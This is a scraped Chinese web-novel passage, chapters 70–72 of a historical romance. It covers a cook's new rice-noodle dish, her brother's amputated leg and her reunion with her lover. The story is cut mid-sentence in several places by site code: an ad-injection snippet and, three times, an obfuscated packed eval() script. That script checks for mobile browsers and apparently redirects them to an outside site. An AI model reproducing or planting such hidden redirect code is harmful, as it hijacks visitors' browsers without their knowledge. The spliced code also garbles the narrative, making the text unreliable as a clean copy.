趁着锅里还在煮,秦见君取了猪肉在砧板上剁碎,一时间,锅中香气与砧板上“砰砰”的剁肉声相互映衬,烟火气扑面而来,袁芽喜欢极了。 剁碎的肉馅加入调料放在碗中腌制,锅中的汤底继续加入生抽、酱油等调料熬煮。 沸腾后再将腌制好的肉糜放入锅中搅散,肉粒凝结成型,每个小块上都搭着一片酸菜。 肉煮熟后加入切好的葱段与胡荽,最后加入细白的米线,煮熟后便可以盛出了。 照理说,出锅前还应该加点辣椒酱与小米辣,但可惜大荆都没有,秦见君只好洒了几颗花椒进去。 袁芽与覃涛已经忍不住上前了,两人小鸭子找妈妈似地跟在秦见君后头进了大堂。 一份香喷喷的小锅米线放在桌上,秦见君给每个人都拿了小碗,连下午来串门的谭连丰与袁分都有。 袁芽刚拿到属于自己的那小碗,就忍不住伸了筷子,细滑的米线从筷子中溜走,甩了她一脸汤汁。 袁芽:“......” 覃涛:“哈哈哈!” 袁分无奈地取了帕子给小孩擦脸,袁芽仰着脸被伺候完,又低头小心翼翼地同米线奋战起来。 夹了好几次都失败后,袁芽索性用筷子将米线逼到碗沿,用嘴抵上去一吸,“哧溜”一声,米线进了嘴。 裹着酸汤与葱香、胡荽香的米线弹入口中,鲜得袁芽忍不住睁大了眼睛。 爽滑的米线在口中难以捕捉,加上烫口,袁芽便囫囵咬断直接吞了进去,残留在嘴里的香气依然勾人,她忍不住一口接一口吃着。 “怎么样?” 众人吃得嘴角都挂着汤汁,赞叹道:“真好吃!” “年前我们把小锅米线推出去,同步还要着手准备团圆饭的宣传。”秦见君自己也嗦了一口米线,虽然味道还行,但没有辣椒,她吃得有些没滋没味——果然由奢入俭难啊...... 夜里忙完后,秦见君规整了后厨,然后拎着小包袱去了医馆。 杨甜已经醒了,正坐在秦建业床头守着。 秦见君放轻了脚步进去,将包袱放在桌上打开,取出一套厚厚的冬衣递给杨甜。 “穿上吧。” 看得出来那套衣裳布料不差,杨甜舍不得穿,便推拒道:“我也不出门......” 秦见君将衣裳放入杨甜怀里,道:“怎么不出门?等秦建业好了,就送他去上学,以后赚了钱给你享福。” 提到秦建业,杨甜转头看了一眼躺在床上面色苍白的男孩,心头一痛,又落下泪来。 这几日与杨甜交谈,秦见君才知晓,秦建业已经九岁了,但是因为营养跟不上,所以看起来只有六七岁的样子。 按理说九岁早该上学堂了,但秦建业向来不是读书的料。 秦留志带他去隔壁村子的书生家里识字,他坐不住老往外跑,被秦留志打了几次后仍不悔改,于是便断了读书的念想。 在家待了一段时间,深觉家中贫苦,他便想着去湖梁县做工。 学姐姐瞒着家里去,事情却很快败露。许是相同的事迹引起了秦留志的暴虐情绪,这次他下手非常重,嘴里喊着“难道你也想跑”,然后挥手打断了亲生儿子的右腿...... “娘......” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 床上的孩子悠悠转醒了。 自截断死腿后,他便陷入反复发热,一直昏昏沉沉的,少有的清醒时刻都在找杨甜,是以杨甜才一刻不敢懈怠地守在床前。 “娘在呢,要喝水吗?”杨甜上前轻声问。 “嗯......”秦建业看起来清醒了些,侧头看向一旁的小娘子,喊,“姐姐......” 秦见君有些唾弃自己,这小子只不过是个与自己有血缘关系的“弟弟”,自从来到这个世界,她并未享受过什么“姐弟亲情”,而是在被秦留志暴打时看清了“便宜弟弟”的冷漠底色。 从前她记着秦建业袖手旁观的仇,后来秦建业在良田沟放自己离开,她便觉得二人不再有瓜葛了。 但看着这么小的孩子断了腿躺在木板上奄奄一息,她还是忍不住心软,将人带到了医馆,花钱救治,往后还要供他读书...... 如今他又喊自己“姐姐”,秦见君心中没来由地有些烦躁。 秦见君不搭理自己,秦建业便落寞地垂下眸子,直到杨甜将水递到嘴边。 喝了水,秦建业脸色好了许多,先前他醒来都是要一口水,而后又陷入昏睡,今日却越喝越清醒。 杨甜高兴地喊来大夫,大夫诊过脉后道:“热症退了,往后只需好好养护,不必留在医馆......”而后他又指着秦建业的腿道,“但别急着让他下地走动,先将身子养好......” 话未说完,就见秦建业掀开了被子,而后满脸惊恐地看着自己空荡的右腿裤管。 他本就没有血色的嘴唇隐隐透出灰败来,脖颈迟滞地转向杨甜,声音沙哑:“娘......我的腿呢?” 杨甜早就料想过如今的场景,嘴还未张便扑簌簌落下泪来。 秦建业又一次低头看向自己腿——右膝以下都没了。 他猛地想起,先前被爹打了之后,便是右边膝头疼,每走一步都钻心地疼,但他不敢喊,怕招来爹爹更狠的毒打...... 所以竟然是打断了吗? 他怔怔地望向房梁。 怎么就断了呢? 他想起村子里也有肢体不全的人,大多会沦为乞丐。 因为不能下田,做工也不会招这种身体残缺的,久而久之没了银钱来源,便只能靠乞讨度日...... 乞讨者的日子是极其难捱的,不仅吃不饱,还要受人指指点点...... 秦建业的呼吸愈发深重,他觉得自己完了,这辈子都完了,非但不能赚钱让娘过上好日子,还要拖累娘养着自己...... 秦见君与大夫走后,杨甜端来汤药给他。 秦建业闻着发苦的汤药,眼睫被热气一熏,酸涩难耐,小声道:“娘......不治了......” 杨甜以为他是担心银钱,便宽慰道:“你姐姐赚钱了,她说会治好你,往后你好了再还她......” 听到这些,秦建业再也忍不住了,他挥手将药碗打碎,嘶吼道:“治不好了!腿没了!” 杨甜怔怔地看着一向乐观的儿子发这么大的脾气,门外传来药童的询问声,她只好先答话:“没事,药碗没拿稳......” 秦建业发泄完又躺回床上,眼瞳中灰蒙蒙的,任杨甜怎么喊都没了反应。 70.第 70 章 临近年关,平雅街上又热闹了一番,听闻街北的含萃店又出了新菜色,热乎乎的汤食,酸酸麻麻喷香且开胃。 在外奔波了一日的百姓们冻得四肢百骸都僵住了,一份小锅米线滑进肚子里,连手指缝中都洋溢着舒坦。 “秦小娘是哪里人啊?过年可回去?”食客将碗底的配菜扒拉进嘴里,忍不住问秦见君。 秦见君并不答自己从哪里来,而是摇头道:“不回,店要开到除夕,年后就说不准了。” 食客立刻喜笑颜开道:“那就好那就好,难得年前闲几日,若是吃不上秦小娘的手艺,还不如不歇了!” 大堂中其他埋头苦干的食客听了,都纷纷抬头应和,逗得秦见君抿唇笑。 夜里秦见君让玲姐先回去了,这几日谭连丰接了个大单子。绵州街道路边的灯笼全要换成红色,知州那边招人手,他便报名了,玲姐夜里回去要帮他一起赶工扎灯笼。 店里收拾妥当后,袁分也到了。 袁芽扑上前撞在袁分胸前,而后亲昵地用下巴蹭他衣裳,他便由着她蹭。 “小芽。”秦见君回了一趟后厨,再出来时手上拎着一个食盒,“帮我把这个交给我娘。” “姐姐不回家吗?”袁芽接过食盒,闻到一股鸡汤的鲜香味。 “沈小姐今日要回来,我同她约好了,在店里等等她。”秦见君道。 前几日收到沈婉的信,约好了今夜相聚,沈婉似是有何事要告知。 袁芽拎着食盒点点头,伸手挽住袁分的左手,冲覃涛与冯莲道:“走吧!回家啦!” 秦见君看着一行人走出去,袁芽似是有些冷,紧紧贴在袁分身上,像只挨着鸟妈妈取暖的小鸟。 她忍不住笑了笑——挺好的,袁芽有了孩子脾性,也有了真心爱护她的哥哥...... 路上袁芽与袁分将冯莲与覃涛送回了住处,然后继续往前走,绕了一条巷子去秦见君的院子送鸡汤。 秦建业只能躺着养伤,从医馆出来后,秦见君便将秦建业与杨甜带回了自己的院子。 “笃笃。” 袁芽敲了敲小院的门。 杨甜来开门,她认得袁芽,先前在医馆时,袁芽也帮忙送过食盒。 “姐姐今夜要见旧友,还在店里呢,让我先来送食盒。”袁芽道。 杨甜忙将两人引入屋子中。 “这是我哥,袁分。”袁芽也不客气,进了屋子就自己倒了杯热茶喝起来,喝剩的又递给袁分,袁分一边同杨甜点头致意,一边接过杯子将剩下的水都喝了。 杨甜看见袁分空荡的左手袖子,惊讶中带着些犹豫,想努力装作不在意,却掩藏不住情绪。 “我哥的左手没了。”袁芽上前道,她拎着袁分的左袖晃了晃。 杨甜见袁分脸上没有一丝尴尬与愤怒,觉得不可思议,半晌才找回自己的声音道:“我......我家建业......也......”后面的话她张了张嘴却说不出口。 好在袁芽接话了:“右腿没了,我们知晓的。” 此事她早就同袁分说过了,平日店里的食客有小口角,她都要回去同袁分说,这么大的事自然早就说过了。 “他......他恨......”杨甜说“恨”,却不知秦建业在恨谁,恨秦留志吗?那是亲爹,能恨吗?不恨秦留志,又能恨谁呢?她也不知道。 袁芽有些不明白,转头望向袁分。 袁分倒是知晓秦建业如今的情绪,但他一直秉持着事不关己的态度。各人有各人要走的路,有必须经历的事,他并不想插手。 “娘!” 挂着帷帐的床上忽然传来喊声,男孩的声音尖锐还带着不耐烦,吓了袁芽一跳。 她忍不住往袁分身边靠了靠,袁分抬手虚虚拢着她的耳朵。 杨甜有些歉意地看了一眼两人,忙转头去应声。 “吵死了!吵死了!都滚!”秦建业的声音从帷帐里传出,动静大到帷帐关合处被风掀开,露出男孩有些狰狞的脸。 袁芽蹙起眉,她觉得床上那个男孩像一只疯狗,狰狞的脸像、露出的牙齿像、连狂躁的性子都像...... 秦建业肆意发泄着怒气,不小心掀开帷帐,透过帷帐缝隙,他瞥见桌边站着一个高大的男人——他的左袖空荡荡的。 秦建业顿时似是被什么魇住了似的,死死盯着袁分的左袖。 “他怎么了?”袁芽小声问袁分。 袁分轻叹了声,并未理会秦建业,而是向杨甜告辞,带着袁芽离开了。 走在回家的路上,袁芽还是忘不掉秦建业的眼神,于是抱着袁分的右手问:“他怎么了?” 袁分替袁芽整好戴歪了的棉帽,回道:“他遇到‘同类’了。” 袁芽的视线落在袁分的左侧,似是有些明白了,而后又撇了撇嘴道:“才不是‘同类’,哥哥不会像他那样发疯......” 袁分想了想,道:“也发过疯,不过你没看见。” “什么时候?”袁芽听了,担忧问道。 袁分敛了敛眸子,想起自己断手后,刚醒来便收到吴幽身亡的消息,根本来不及顾及失去的左臂,直接陷入了无尽后悔与苦痛中,也曾肆意发泄过怒气...... 袁芽抬头看向袁分,猜想他许是又想起吴小姐了,她低下头继续走着。 她也不是很清楚自己心里对吴幽是什么感情,应该感激吗?感激她的那双眸子,自己才能遇上袁分这么好的哥哥? 可她又有些怨恨,吴幽为何不能与袁分长相厮守呢?袁分值得,值得那么幸福的日子,如果吴幽能活着,那用自己去换也可以的...... “大夫!大夫!开门啊!” 转角处传来妇人的叫喊,伴随着急促的敲门声。 袁芽走到巷口,转头看了一眼,便停下了脚步,站在原地扭着身子去看——是娘在敲门。 妇人声嘶力竭地喊着,医馆开了门,两人连忙抱着孩子进去了。 即便隔着一条巷子,袁芽都能听到娘担忧的询问声,中间夹杂着爹的应声。 袁分并未将袁芽拉走,而是由着她站在巷口望着。 不知望了多久,袁芽忽然松开了抱着袁分的手,抬起的脸上有纠结与犹豫,舔了舔嘴唇才对袁分道:“我想去看看......” 袁分并不阻拦,只对她道:“去吧,我在这儿等你。” 袁芽点点头,朝漆黑的巷子一步步走去。 巷子很狭窄,比从前她藏身的巷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963545|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还小,墙根堆着杂物,那里曾经是她最理想的过夜地...... 巷口的光越来越近了,袁芽放缓了脚步。走到医馆门口时,她忍不住回头看了一眼——袁分如他所说,就站在巷子那头等。 他站在巷子的阴影中,看不清面容,身姿却挺拔。 袁芽像吃了颗定心丸,转身走进医馆,却并未深入,而是与门口的药童说了几句话,随后掏出银钱给那药童。 从头到尾她都没有抬头在医馆里找过爹娘的身影,给了银钱、嘱咐了药童,她便转身离开,不带丝毫留恋。 再次穿过漆黑的小巷时,她脚步很轻快。 看见袁分就在巷子那头等着,她越走越快,直到跑起来,扑进袁分怀中,双手紧紧攥着他的衣裳不肯抬头,撒娇道:“哥哥,我累了,走不动。” 袁分单手托住她,让她坐在自己手臂上,就这么抱着她重新踏上了回家的路。 夜里的街道安静又冰冷,路边的灯笼立在寒风中,连光都黯淡了许多。 秦见君只留了大堂的烛火,自己揣着汤婆子坐在窗边等。 天气一冷,人就犯懒,每日被店中的事吊着,秦见君无法偷懒,眼下闲坐着,没一会儿就眼皮打架了。 正在她快要趴桌上睡着时,门忽然被推开,她抬头望过去,沈婉披着大氅风尘仆仆地来了。 秦见君揉了揉眼睛站起身,要去门口迎沈婉,却见沈婉后面又跟进来一个男人,定睛一看——赵浅聿? “赵大人?”秦见君的困意顿时没了,八卦之火熊熊燃起,一双眸子在沈婉与赵浅聿之间转来转去。 “送到了,你回去吧。”沈婉微微侧头对赵浅聿道,连目光都不肯给他半分。 赵浅聿的神色有些无奈,缓声道:“夜深危险,我送你回府。” “不必了。”沈婉蹙着眉,有些不高兴的样子。 虽然不清楚是何情况,但沈婉脸色实在算不上好,秦见君只好出面道:“赵大人先回吧,顺路去沈府说一声,沈大人会派人来接沈小姐的。” 赵浅聿见沈婉一言不发,只好点头离开。 门甫一关上,秦见君便连忙将沈婉拉至桌边坐下,给她倒了杯热茶,问道:“你和赵大人怎么了?你不是南下了吗?怎么跟赵大人走在一起?” 沈婉抿了口茶,接着叹了口气道:“我在南下途中遇上他了......” 秦见君疑惑:“这不是好事吗?你喜欢他,正好有相处机会啊......” 沈婉垂着头,憋了半晌才道:“他有婚约了......” 秦见君眨了眨眼,不是很懂现在的剧情展开。 “他有婚约这事,你以前不知道?” 沈婉摇摇头道:“是近日才定下的。” 秦见君觉得有些难办,大荆可不像现代,真爱至上,无论如何还能跟父母挣扎一下。 赵浅聿的爹还是赵广涵,听裴眠说是个特别大的官,在虔渊州都是只手遮天那种,赵浅聿应该也反抗不了...... “那现在是怎么回事?”秦见君问,“赵大人跟着你做什么?” 沈婉正要说话,大门却再一次被打开。 秦见君抬头看过去——裴眠? 是裴眠! 71.第 71 章 秦见君怔怔望着,有些不敢认。 裴眠似乎变了不少......颊边的凹陷充盈了,脸看起来饱满又俊朗,衣裳也不似从前般,有些空荡地挂在身上,而是被骨肉撑开,显得高大又充满力量...... “你......”日思夜想的人忽然出现在面前,秦见君又惊又喜,片刻后又开始怀疑是不是自己太过思念产生了幻想...... 沈婉看着眼前相视而立的两人,深觉这空荡的大堂没了自己的落脚之处,恰好门外传来下人的声音。 “小姐,马车停在外面了。” 沈婉如得救般松了口气,朝二人告辞:“改日再谈,我先回了。” 秦见君回过神来,忙上前送沈婉出门,中途还回头确认了一眼,裴眠还站在原地。 沈婉被秦见君这一眼给逗笑了,小声道:“不相信?” 秦见君微微点头:“他......变化有点大......” 沈婉也侧头瞥了裴眠一眼,而后对秦见君道:“不大,他从前就是这副模样,换言之,这才是他真正的模样。” 从前的模样?秦见君眨了眨眼,所以先前裴小之说裴眠在虔渊州用脸“大杀四方”,用的就是这张脸? 将沈婉送上了马车,秦见君转身回了店里。 她反手关上门,却并未往前走,而是顺势靠在门板上,微微歪头盯着裴眠看。 比起走之前,裴眠如今看着结实了许多,已与常人无异了。 盯了许久,她深吸了一口气,又缓缓吐了出去...... 先前袁原说裴眠被大雪困在叶水州,她着实提心吊胆了好些日子。 虽然心中知晓他大概不会有性命危险,但还是忍不住担心,眼下人就完好无损地站在面前,秦见君着实松了口气。 “叶水州的雪停了?”秦见君问。 裴眠望向她的目光如水温和,仿佛诉说着无尽思念,却并不让人觉得波涛汹涌...... 秦见君一下子就静下心来,心中暗道自己可真算是栽了,栽在他黑白分明的眸中。 “嗯,雪停了。”裴眠忍不住上前两步,但怕冒犯秦见君,顿时又停住不动了。 秦见君发觉了他的意图,有些好笑地挑了挑眉,然后小跑两步,扑入他怀中。 裴眠将她柔软的身体抱在胸前,低下头,鼻尖抵住她的耳廓。熟悉的无患子清香钻入鼻腔,惹得他忍不住喟叹一声,接着便放松了身体。 秦见君感到裴眠的身躯放松了,有些重量的身子压在她肩上,他的胸膛随着呼吸起伏,不知不觉,秦见君的呼吸与他同频。 拥抱是一个神奇的动作,两人面对面用身体嵌合,原本只有左边心脏在跳动,那一刻,似乎右边也长出了一个心脏。 秦见君第一次意识到,原来脖颈真的是很脆弱又很敏感的地方,当裴眠的脖颈缓缓贴在她脖颈上时,她竟然有种“交付生死”之感。 她知道的,脖颈上的动脉很重要,只需一刀,生命便会消失。所以脖颈算得上是人类的“弱点”,如今两人正毫无保留地露出“弱点”,与对方相拥、相贴...... 秦见君舍不得放开,于是便就着这姿势问:“能待多久?” 先前信中说叶水州的稻苗都冻死了,裴眠这次来找自己,肯定不是因为问题解决了,所以早晚是要回去的。 “待几日,年前要回叶水州。”裴眠的声音贴在耳畔,带着气音,很好听。 秦见君默默算了算,加上回程的时间,要在年前赶到叶水州的话,裴眠只能在绵州待五日。 虽然她真的很想就这么抱五日不撒手,但理智还是占据了上风。 “饿不饿?”她退开些看着裴眠问。 “嗯。”裴眠眼底亮亮的。 “吃小锅米线怎么样?” “好。” 虽然不知道“小锅米线”是什么,但裴眠还是乖乖应了,他向来相信秦见君的厨艺。 “来。”秦见君拉起裴眠的手,带他走进后厨。 不生火的时候,后厨便与大堂无异,秦见君被冻了个哆嗦,正想抱住自己搓搓手臂,忽然想起自己牵着自家男朋友呢,于是后退一步贴在裴眠胸前取暖——有人形暖炉不用,非要自己搓自己受罪干啥? 从前夏日里裴眠的指尖都是微凉的,如今即便是在冬夜,他的身体依旧热乎,秦见君真是一步都不想离开他。 生好火,后厨的温度渐渐上来了。 秦见君给裴眠找了个凳子坐着,随后挽起袖子开始做小锅米线。 她在灶台间忙碌的样子依旧迷人,处理食材的动作流利、步骤清晰,裴眠觉得赏心悦目极了。 秦见君一边洗菜一边问:“怎么有空过来?之管家呢?没来?” 裴眠僵了一瞬,语气有些不自然道:“先前大雪封路,叶水州百姓想在冬日闲时出门做生意补贴家用,于是我们一起开了路,我随做生意的百姓一同过来的。” 秦见君将洗好的菜丢进锅中,勾了勾嘴角——裴眠明显有事瞒着自己。 她盖上锅盖,转身朝向裴眠,一针见血道:“之管家呢?” 裴眠微微坐直了身子道:“在叶水州。” “他没吵着要跟你一起来绵州?” 裴眠的手指在膝上轻轻磕了两下,道:“他......并不知晓我来绵州了......” “裴眠?”秦见君上前蹲在他面前,好笑道,“你偷跑出来的?” 裴眠试图解释:“官家旨意,派我去叶水州解决粮产之事,在粮产之事解决前,我不能擅离......” “所以你就留之管家在叶水州给你收拾烂摊子?”秦见君道。 裴眠点头——裴小之虽然跳脱,但大事上还算靠谱,若是直言说自己要来绵州,他定不会同意,不如先斩后奏,他追不上来也只能待在叶水州料理烂摊子...... 秦见君捧起裴眠的脸道:“什么时候变得这么调皮了?” 裴眠面上不显,心中却默默道:我一向如此...... 锅中发出咕嘟声,秦见君松开手转身去看锅,裴眠脸上的热度消失,他有一瞬的晃神。 “尝尝看。”秦见君将加肉加菜的小锅米线放在裴眠面前,递上筷子道。 裴眠被米线香气吸引,低头看着色香诱人的米线,嘴里忍不住分泌口水——在叶水州无盐无油的日子过久了,都快忘了“美食”是何物了...... 爽滑的米线卷入口中,酸酸麻麻,裴眠觉得自己沉寂许久的味蕾终于被激活了。 秦见君看着他专心吃米线,动作看着不紧不慢,腮帮子却微微鼓起,眼角眉梢都带着笑意,便知晓他吃得很开心。 她撑着下巴看着裴眠吃东西,忽然想起杨甜与秦建业正在自己的院子中,裴眠晚上住哪儿? 裴眠将米线的汤底都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977322|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝完了,心满意足地看向秦见君,却见她神色有些不对。 “怎么了?” “我娘和弟弟来绵州找我了,这会儿正住我那儿呢......今晚你住哪儿?” 其实秦见君的院子有两间卧房,杨甜与秦建业只占了其中一间,她自己的房间依旧是一人住着。 只是院子就那么大,若是带裴眠回去,定会惊动杨甜他们,到时不好解释...... 裴眠不想她为难,但又实在不想分开,一时间陷入沉默。 他苦恼的样子还带着些委屈,秦见君忍不住心软,轻声道:“要不然我们轻轻地回去,不惊动他们?” 裴眠抬头看向她,不说话,眼里却明晃晃写着:好。 秦见君给大门上了锁,拉着裴眠走在回家的路上,一路走一路说,唇上白汽不断,像个沸腾的小水壶。 “这就是我信里跟你提到过的医馆,大夫人很好!医术虽然比不上齐大夫,但脾气可好了......你看这个门口有簸箕的地方,新开的小店,牌匾都没有,但是他们家的糖葫芦特别好吃......” 裴眠一路听着,秦见君指哪儿他就看哪儿,然后再将秦见君晃得有些凉的手指攥入手中捂热。 到了院子门口,秦见君闭上嘴,先趴在门上透过门缝观察了一会儿——屋子里的灯都熄了,想来杨甜他们都睡了。 她小心翼翼地开了门,怕木门发出吱呀声,于是开得很慢,也只开了仅供一人进出的小口,转头轻声对裴眠道:“进去......” 待裴眠进了院子,秦见君也跟了进去,转头锁了门,再拉着裴眠往屋子里走。 穿过前厅,右转是秦见君的卧房,左转是杨甜与秦建业住的屋子。 两人到了卧房门口,秦见君正要推门,忽然听到左边传来窸窣声,她顿时停住,不敢再动。 窸窣声过后,左边传来杨甜的声音:“见君?是你吗?” 秦见君心头一跳,忙开了门,将裴眠推进去道:“在里头待着别出声!” 裴眠刚进去,转身还没来得及说话,门就被关上了,他眨了眨眼——总觉得......自己像话本里与人私通的奸夫...... “娘,还没睡?”秦见君朝左边走过去,离自己卧房远远的。 杨甜披着衣裳,站在左侧卧房门口,看向秦见君,有些欲言又止。 “怎么了?”秦见君看她这样,表情也不住严肃起来。 “建业他脾性大变......我......我怕如此下去会给你惹麻烦......”杨甜叹息道。 这事秦见君知晓,一个四肢健全的孩子忽然断了腿,自己心里那关是极其难过的。 她看向杨甜道:“再给他点时间,或许他能自己想通。” 杨甜点点头,又道:“今夜我看见小芽的哥哥了......” 袁分? 秦见君不明所以,点点头示意自己在听。 “他的左手......”杨甜没说下去,顿了顿又继续道,“建业想亲近他,能不能......请他得空时来看看建业?” 秦见君想起袁分单臂依旧淡然冷静的模样,想着若是袁分能开导一下秦建业也算是好事,于是便应下了。 杨甜心上的石头落地,便催着秦见君快去休息。 秦见君忙回了自己的卧房,甫一进去便被一双大手按入怀中,差点没来得及关门。 72.第 72 章 “轻......轻点......”秦见君被勒得有些呼吸不过来,她这次直观感受到了裴眠的力量变化。 裴眠忙松开些手,但仍搭在她腰上。 热腾腾的,很舒服,秦见君仰起脸看向裴眠,两人都不说话。 比起说话,两人都更想静静地观察对方一会儿,看看对方的眉眼,以解相思之情。 对视会让人感到尴尬,但对心意相通之人来说,对视却更像是在“抚摸”对方。 秦见君看了一会儿,目光便不自觉下移至裴眠的嘴唇——比起从前的苍白,眼下的嘴唇有血色多了,嫣红饱满......看着很好亲...... 裴眠看见她半垂着眸子,睫毛掩住黑瞳,在眼角白仁处投下带着弧度的阴影,杏眼被衬得狭长,似狐狸一般,娇软又魅人。 静谧的夜里,一对恋人亲昵相拥,嘴唇缓慢靠近,在终于贴上的那一刻,秦见君忍不住攥紧了些手,阖上眼,仔细感受着唇上的温度。 裴眠的吻依旧是温温柔柔的,缱绻又轻缓。 秦见君有点受不住这样的厮磨,于是微微张开嘴,舌尖探了探裴眠的唇缝。 她明显感到裴眠呼吸一滞,而后便也张开嘴压了下来。 秦见君的手从裴眠的肩头挪至他颈后,手指微微用力,将裴眠往下拽,想要更多...... 就在此时,裴眠忽然退开,秦见君有些晕乎乎地看向他,用眼神询问:怎么了? 裴眠拂开她脸颊上有点散乱的发丝,声音微哑:“别憋坏了。” 秦见君这才发觉,自己头晕好像是因为方才一直憋气——有点缺氧...... 她深吸了一口气,仰起头凑上去要继续,却被裴眠躲开了。 “下次。” 他的眼尾到耳根一片通红,眸子亮晶晶的,嘴唇也被吸得泛红,但依旧保持着理智。 秦见君知晓他的“君子心理”又发作了,这样下去,她真的会“憋”坏的...... 得想想办法。 “冷不冷?”秦见君松开他,转身将炉子点燃,趁着热气还未散发出来,问裴眠。 裴眠摇头,他身体好多了,不像从前那么畏寒。 秦见君噎住,随即道:“我有点冷......” 裴眠看着她满脸涨红、额头沁汗的模样,不解,但顺从。 “快些洗漱吧。”裴眠道,进被子里就不冷了。 秦见君没答他,而是提议道:“要不要喝点酒取暖?” 裴眠疑惑:“我记得绵州的酒并不烈......” 秦见君狡黠一笑:“我酿的。” 裴眠蹙眉,私自酿酒是不被允许的,况且酒曲被有酿酒权的酒楼掌控,秦见君是如何酿的酒呢? 似是看出了裴眠的疑惑,秦见君解释道:“我去珍馐楼进酒的时候,房大厨给了我一点酒曲,只有一点点,他说自己酿着喝没事的,不拿出去卖就行。” 房大河自从被裴眠警告后,便不敢再招惹秦见君了。不过秦见君觉得做生意还是要以和为贵,于是每次去珍馐楼进酒时,都会给房大河带点自己做的吃食。 一来二去的,房大河彻底被秦见君的手艺征服,如今两人见面都会寒暄几句。 看秦见君眼睛亮亮的,裴眠也不想扫她的兴,只是私下酿酒尝尝而已,不是什么大事。 秦见君得了准许,兴冲冲出去取了酒壶与酒杯进来。 她特地拿了度数最高的——今夜势必要拿下裴眠! 裴眠端起酒杯抿了一口,如他所料,秦见君连酿酒都十分精通,酒醇香而温厚,并不呛喉,入口却让人觉得暖洋洋的。 “好喝吗?”秦见君问。 裴眠点头:“好喝。”说着,他又抿了一口。 于是秦见君放心地给自己也倒了一杯,眯着眼咂摸起来。 她来到这个世界后喝的都是低度数的酒,喝一整壶也不觉得醉,以至于她全然忘了自己酒量实在不怎么样...... 她就着面前的男色,抿了一口又一口。 “裴眠......”秦见君眼皮有些睁不开,她颔首翻着眼去看裴眠,问,“你怎么......不亲我?” 裴眠拿着酒杯的手一顿,有些不可置信地看向秦见君面前的杯子——她只喝了两杯,醉了? “为什么?”秦见君凑过去问。 她唇畔喷洒出酒气,与自己杯中的是同一种,裴眠看向她,忍不住舔了舔嘴唇。 没有得到回答,秦见君也不再追问了,她还记得自己的目的,于是伸手去拉裴眠。 “怎么了?”裴眠顺着她的动作起身。 秦见君拉着他往床边走,嘴里嘟囔着:“今晚一定要.....嗝......把你办了......” 裴眠:“?” 她拽着男人走到床边,顺手将他往床上甩——甩了一下,没甩动。 她转头看向他:“上去。” 裴眠眨眨眼,转身坐在床上,正要低头去脱鞋,就被秦见君按着肩膀压在了被子上。 秦见君双手撑在裴眠身侧,蹙眉想着:接下来要怎么做?哦对,脱衣服! 她伸手去扯裴眠的腰带,这下裴眠可以确定她要想做什么了。 他伸手抓住在自己腰上作乱的手,起身让秦见君坐在自己腿上。 秦见君抽不动手,反应慢半拍地看向裴眠。 “困不困?”裴眠问。 她老实地点点头,从头晕开始就困,特别困,想睡觉,但她今夜的目的还没达成...... “困就睡吧。”裴眠侧头去给秦见君脱鞋子。 秦见君撅起嘴,抬手拍了拍裴眠的肩:“不能睡......” 裴眠替她脱完鞋子,回正身子看向她:“为何不能睡?” “我还没......”秦见君说到这儿,顿了顿,措辞道,“还没睡......你......” 小醉鬼的话颠三倒四的,裴眠并不当回事,抬手将秦见君裹进被子里,俯身叮嘱:“睡吧。” 秦见君在好听的声音中丢盔弃甲,迅速进入了梦乡。 这一觉睡得不算踏实,没多久便悠悠转醒,她撑起身子四处看了一圈——裴眠不在。 正要下床去找,门口忽然传来响动,秦见君立刻躺下去装睡——睡了一小觉,她有些醒酒了,想起刚才扯裴眠腰带没成功,她觉得有点丢人...... 裴眠身上带着潮气,还有好闻的无患子香气。 他去洗漱了——秦见君闭着眼想。 直到感觉裴眠在自己身后躺下,秦见君才稍稍放松了些。 她闭着眼,转身抱住裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992939|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠,这动作她曾经无比熟悉,是以这会儿也并没有磕碰,顺利缠在了裴眠身上。 既然他真的不想做,那就不做吧...... 秦见君抱着热腾腾的人形抱枕,低头蹭了蹭——以后再说吧,折腾了半夜他也困了...... 正要睡觉,她忽然觉得腿根处似乎压到了什么...... 这可是你先勾引我的...... 秦见君睁开眼,一把掐住裴眠的下巴,掰过来面对面看着他。 他似是有些始料不及,脸上带着错愕。 秦见君故意动了动大腿,问:“怎么解释?” 裴眠抿起唇,面露尴尬道:“你介意的话,我还是出去......” “不许出去!”秦见君的腿紧紧缠在裴眠身上,压着他不让他动。 亲密行为又不止那一种......秦见君决定曲线救国、循序渐进。 